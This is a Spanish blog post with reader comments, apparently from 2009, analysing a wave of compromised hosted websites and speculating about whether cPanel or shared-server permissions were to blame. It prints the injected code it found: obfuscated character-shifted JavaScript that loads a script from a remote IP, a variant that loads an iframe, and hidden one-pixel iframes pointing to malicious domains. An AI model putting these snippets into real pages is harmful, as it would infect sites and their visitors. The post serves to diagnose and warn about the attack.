La alarma saltó hace algún tiempo, y nosotros hemos sabido del tema hoy al informarnos un cliente nuestro que había sido afectado.
El efecto que se produce es el siguiente: en el código de tu página se inserta un código malicioso que ejecuta una rutina javascript y se encarga de colocar en tu web un iframe que muestra otra web distinta, llena de spyware y otras malas hierbas.
Para aumentar el daño, google detecta este problema en tu página y te castiga dejando de mostrarte en los resultados de su buscador. Al menos te envían un e-mail para informarte de ello.
El punto complicado es ¿cómo se introduce ese código en tu página web?. En principio cabría pensar que los atacantes han conseguido de algún modo las contraseñas de acceso al servicio FTP del hosting en el que alojas la web, y me inclinaría a pensar esto si nuestro cliente fuese el único afectado.
Sin embargo una búsqueda en google nos muestra que se trata de un ataque a una escala mayor. Parece que hay múltiples afectados.
El código1 que se introduce en la página web el siguiente:
La ejecución de dicho código2 demuestra que lo que hace es añadir en tu página web el siguiente texto:
Dicho código se encarga de cargar un fichero js que reside en un servidor externo (no tiene nada que ver con google) y que a su vez se encarga de insertar un iframe en tu sitio web.
La pregunta ahora es ¿cómo consiguen los atacantes introducir dicho código en el fichero index.php del servidor?. Aunque la primera impresión es que, bien por fuerza bruta o bien usando alguna vulnerabilidad que les permita interceptarlas, obtienen las contraseñas del servidor FTP y luego realizan la modificación, los datos que aparecen sobre infectados en algunos foros en internet parecen indicar lo contrario: muchos de ellos afirman que sus contraseñas son seguras. Además parece que los ataques se han concentrado en el proveedor de servicios "Heart Internet", que además de vender al cliente final ofrece servicios como mayorista y por tanto existen muchos resellers que, sin el conocimiento directo de sus clientes, usan el mismo servicio.
La empresa con la que nuestro cliente contrata el hosting es Piensa Solutions, y no estamos seguros de si dicha empresa está actuando como minorista de Heart Internet en éste caso.
De comprobarse que el problema está relacionado con ésto, entonces el ataque podría estar aprovechando un fallo de seguridad en los servidores de una o más compañías de hosting. Dicho fallo podría ser tan sencillo como que no existiese ningún elemento que evitase el acceso a los ficheros de otros usuarios en el mismo servidor si éstos no tienen adecuadamente configurados los permisos (o incluso, si pueden ser escritos por el usuario que ejecute el demonio Apache y el intérprete de PHP, si el safe_mode no está activado); pero también podría ser un fallo en los sistemas de acceso a los paneles de control de los usuarios, donde normalmente existe un acceso web al sistema de ficheros.
Si bien parece que por ahora el proceso no es automático (en el sentido de que no se duplica a sí mismo), de confirmarse que se trata de un problema de seguridad en el acceso a ficheros de otros usuarios en el mismo servidor, el proceso podría probablemente ser automatizado de modo que el propio código escrito en los ficheros PHP se contuviese a si mismo y se replicase hacia otros ficheros. De éste modo tareas propias tanto de los servicios de hosting (como mover a un cliente de un servidor compartido a otro por reajustes) como de clientes (cambiar de servicio de hosting) podrían encargarse de extender éste código entre distintos servidores. Estaríamos en este caso contemplando el nacimiento de un nuevo tipo de virus del que yo al menos no tengo constancia: los web-virus.
Si obtenemos más información, la publicaremos por aquí.
Actualización: Siguiendo con la información tengo nuevas sospechas. El problema parece no estar en la configuración de los servidores en sí, sino en la utilidad CPanel, que es el panel de control que usan muchas empresas de hosting para permitir a sus clientes configurar las opciones del servidor. Existen varias compañías afectadas y todas parecen tener en común el uso de ese sistema.
En cualquier caso el problema parece ser de las empresas de hosting, y me parece un problema muy grave. De verme afectado, como mínimo cambiaría de empresa de hosting y además exigiría una indemnización.
Actualización: Otro de nuestros clientes, que usa el servicio de hosting BlueHost (también con CPANEL), ha sido infectado por otro tipo de virus que se comporta de forma similar pero incluye otro texto en los fuentes, con iframes ocultos a páginas maliciosas:
Por último es importante destacar que google da una explicación oficial a éstos factores para justificar la desindexación de los sitios de su índice. Coincide con nosotros en su diagnóstico y culpa a las empresas de hosting. En concreto da un diagnóstico sobre el proveedor de servicios BLUEHOST
El texto es bastante claro:
Es interesante resaltar que, con la información que maneja google, parece apuntar a algunos sitios como "fuente de la infección", lo cual podría significar que el fallo no está en CPANEL sino en los parámetros de configuración propios del servidor. En este caso los atacantes contratarían un espacio en dichos servidores y desde ahí podrían acceder a las cuentas de otros usuarios para infectarlas. Este extremo no nos queda nada claro todavía, pero seguiremos informando.
1 Otras variantes del código cambian ligeramente, apuntando a otro servidor para la descarga del fichero js malicioso:
2 El siguiente código modificado, pegado en la barra de direcciones de un navegador, mostrará un alert con la cadena calculada, en lugar de añadirla al documento:
El efecto que se produce es el siguiente: en el código de tu página se inserta un código malicioso que ejecuta una rutina javascript y se encarga de colocar en tu web un iframe que muestra otra web distinta, llena de spyware y otras malas hierbas.
Para aumentar el daño, google detecta este problema en tu página y te castiga dejando de mostrarte en los resultados de su buscador. Al menos te envían un e-mail para informarte de ello.
El punto complicado es ¿cómo se introduce ese código en tu página web?. En principio cabría pensar que los atacantes han conseguido de algún modo las contraseñas de acceso al servicio FTP del hosting en el que alojas la web, y me inclinaría a pensar esto si nuestro cliente fuese el único afectado.
Sin embargo una búsqueda en google nos muestra que se trata de un ataque a una escala mayor. Parece que hay múltiples afectados.
El código1 que se introduce en la página web el siguiente:
<script>var source
="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;0095/355/249/660hpphmf.bobmzujdt0hb/kt#?=0tdsjqu?";
var result = "";for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result);
</script>
La ejecución de dicho código2 demuestra que lo que hace es añadir en tu página web el siguiente texto:
<script type="text/javascript"
src="http://84.244.138.55/google-analytics/ga.js"></script>
Dicho código se encarga de cargar un fichero js que reside en un servidor externo (no tiene nada que ver con google) y que a su vez se encarga de insertar un iframe en tu sitio web.
La pregunta ahora es ¿cómo consiguen los atacantes introducir dicho código en el fichero index.php del servidor?. Aunque la primera impresión es que, bien por fuerza bruta o bien usando alguna vulnerabilidad que les permita interceptarlas, obtienen las contraseñas del servidor FTP y luego realizan la modificación, los datos que aparecen sobre infectados en algunos foros en internet parecen indicar lo contrario: muchos de ellos afirman que sus contraseñas son seguras. Además parece que los ataques se han concentrado en el proveedor de servicios "Heart Internet", que además de vender al cliente final ofrece servicios como mayorista y por tanto existen muchos resellers que, sin el conocimiento directo de sus clientes, usan el mismo servicio.
La empresa con la que nuestro cliente contrata el hosting es Piensa Solutions, y no estamos seguros de si dicha empresa está actuando como minorista de Heart Internet en éste caso.
De comprobarse que el problema está relacionado con ésto, entonces el ataque podría estar aprovechando un fallo de seguridad en los servidores de una o más compañías de hosting. Dicho fallo podría ser tan sencillo como que no existiese ningún elemento que evitase el acceso a los ficheros de otros usuarios en el mismo servidor si éstos no tienen adecuadamente configurados los permisos (o incluso, si pueden ser escritos por el usuario que ejecute el demonio Apache y el intérprete de PHP, si el safe_mode no está activado); pero también podría ser un fallo en los sistemas de acceso a los paneles de control de los usuarios, donde normalmente existe un acceso web al sistema de ficheros.
Si bien parece que por ahora el proceso no es automático (en el sentido de que no se duplica a sí mismo), de confirmarse que se trata de un problema de seguridad en el acceso a ficheros de otros usuarios en el mismo servidor, el proceso podría probablemente ser automatizado de modo que el propio código escrito en los ficheros PHP se contuviese a si mismo y se replicase hacia otros ficheros. De éste modo tareas propias tanto de los servicios de hosting (como mover a un cliente de un servidor compartido a otro por reajustes) como de clientes (cambiar de servicio de hosting) podrían encargarse de extender éste código entre distintos servidores. Estaríamos en este caso contemplando el nacimiento de un nuevo tipo de virus del que yo al menos no tengo constancia: los web-virus.
Si obtenemos más información, la publicaremos por aquí.
Actualización: Siguiendo con la información tengo nuevas sospechas. El problema parece no estar en la configuración de los servidores en sí, sino en la utilidad CPanel, que es el panel de control que usan muchas empresas de hosting para permitir a sus clientes configurar las opciones del servidor. Existen varias compañías afectadas y todas parecen tener en común el uso de ese sistema.
En cualquier caso el problema parece ser de las empresas de hosting, y me parece un problema muy grave. De verme afectado, como mínimo cambiaría de empresa de hosting y además exigiría una indemnización.
Actualización: Otro de nuestros clientes, que usa el servicio de hosting BlueHost (también con CPANEL), ha sido infectado por otro tipo de virus que se comporta de forma similar pero incluye otro texto en los fuentes, con iframes ocultos a páginas maliciosas:
<iframe
src="http://goooogleadsence.biz/?click=13DA487" width=1 height=1
style="visibility:hidden;position:absolute"></iframe><iframe
src="http://lotante.cn/in.cgi?income38" width=1 height=1
style="visibility: hidden"></iframe>
<iframe
src="http://thelotbet.cn/in.cgi?income39" width=1 height=1
style="visibility: hidden"></iframe>
<iframe
src="http://superbetfair.cn/in.cgi?income43" width=1 height=1
style="visibility: hidden"></iframe>
Por último es importante destacar que google da una explicación oficial a éstos factores para justificar la desindexación de los sitios de su índice. Coincide con nosotros en su diagnóstico y culpa a las empresas de hosting. En concreto da un diagnóstico sobre el proveedor de servicios BLUEHOST
El texto es bastante claro:
What happened when Google visited sites hosted on this network?
Of the 36934 site(s) we tested on this network over the past 90 days, 809 site(s), including, for example, todaycg.cn, omask.com, arcadeoutlaw.com, served content that resulted in malicious software being downloaded and installed without user consent.
The last time Google tested a site on this network was on 2009-04-15, and the last time suspicious content was found was on 2009-04-15.
Has this network hosted sites acting as intermediaries for further malware distribution?
Over the past 90 days, we found 8 site(s) on this network, including, for example, googelmm.com, publibanners.es, buscag.com, that appeared to function as intermediaries for the infection of 21 other site(s) including, for example, chinalcw.com, alojamientogratuito.info, fodsi.com.
Has this network hosted sites that have distributed malware?
Yes, this network has hosted sites that have distributed malicious software in the past 90 days. We found 80 site(s), including, for example, googelmm.com, adserv.cn, rtbn2.cn, that infected 486 other site(s), including, for example, chinalcw.com, kitabummuneer.com, plantationharbor.org.
Es interesante resaltar que, con la información que maneja google, parece apuntar a algunos sitios como "fuente de la infección", lo cual podría significar que el fallo no está en CPANEL sino en los parámetros de configuración propios del servidor. En este caso los atacantes contratarían un espacio en dichos servidores y desde ahí podrían acceder a las cuentas de otros usuarios para infectarlas. Este extremo no nos queda nada claro todavía, pero seguiremos informando.
1 Otras variantes del código cambian ligeramente, apuntando a otro servidor para la descarga del fichero js malicioso:
<script>var source
="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";
var result = "";for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result);
</script>
2 El siguiente código modificado, pegado en la barra de direcciones de un navegador, mostrará un alert con la cadena calculada, en lugar de añadirla al documento:
javascript:var source
="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;0095/355/249/660hpphmf.bobmzujdt0hb/kt#?=0tdsjqu?";
var result = "";for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);alert(result);
Hola, lo primero de todo, enhorabuena por la entrada, es la única que se acerca un poco a lo que estaba buscando. Parece mentira que con lo grave que es el problema haya tan poca información al respecto.
ResponderEliminarMi blog ha sido "infectado" 2 veces en los últimos 15 días y aún no he encontrado el motivo ni otra manera de "desinfección" que no sea el formateo del blog. Menos mal que las copias de seguridad ayudan.
Tengo una copia del blog infectado en mi PC y como hay $GOD que encontrare la forma.
Un saludo,
DaViDz
DaViDZ, ¿podrías dar información sobre la empresa que te presta el servicio de hosting y los sistemas que usan?
ResponderEliminarMuchas gracias.
Hola "other", sin problemas.
ResponderEliminarLa empresa es 1and1, pero en cuanto a los sistemas que utilizan, para el pack que yo tengo no sé decirte, puesto que es una aplicación creo que propia de ellos. (o por lo menos no se parece en nada a cualquiera que yo haya manejado)
Para VPS en cambio utilizan Plesk.
Siento no poder darte más datos.
Por otro lado, ya que no puedo evitar la infección he conseguido evitar su ejecución al cargar la página, he publicado un "apaño" al respecto en mi blog:
http://blog.tuwebdecursos.es
Gracias !!!
Hola, muchas gracias por la información.
ResponderEliminarA nuestra empresa le ha ocurrido lo mismo, lo malo es que google nos ha bloqueado, hemos limpiado todo y hemos solicitado la revisión. ¿tenéis idea de cuanto tarda esta revisión para que nos desbloquee? es que es un curso de moodle y no podemos esperar mucho a que esté de nuevo disponible para los alumnos.
Gracias por la respuesta :)
El bloqueo de google solo impide el acceso desde el buscador, pero si accedes mediante la URL no deberías tener problema.
ResponderEliminarAlgunos navegadores, como Firefox, hacen una comprobación de las páginas contra un servidor de seguridad y, en caso de estar listadas en éste, bloquean el acceso. De todos modos eso es configurable en las opciones del navegador.
En cualquier caso google no suele tardar más de unas horas en realizar la revisión.
Hola, nosotros tenemos dos webs alojadas tambien en 1and1 con el mismo virus a fecha de ahora... hemos pedido a google que nos revise, a ver si hay suerte, solo queria dejar contancia que sigue pasando... un saludo! y enhorabuena por la info
ResponderEliminarEl virus este ha ido mutando con el tiempo, yo he estado luchando con él durante tiempo y cada vez era diferente, más complicado de detectar y mejor hecho.
ResponderEliminarLa última vez que lo limpié (me costó lo mio), le cambié el password de acceso a la cuenta del hosting, y desde entonces no he tenido más problemas.
Así que cambiar la pass, limpiarlo todo y tener cuidado desde donde accedeis a la cuenta.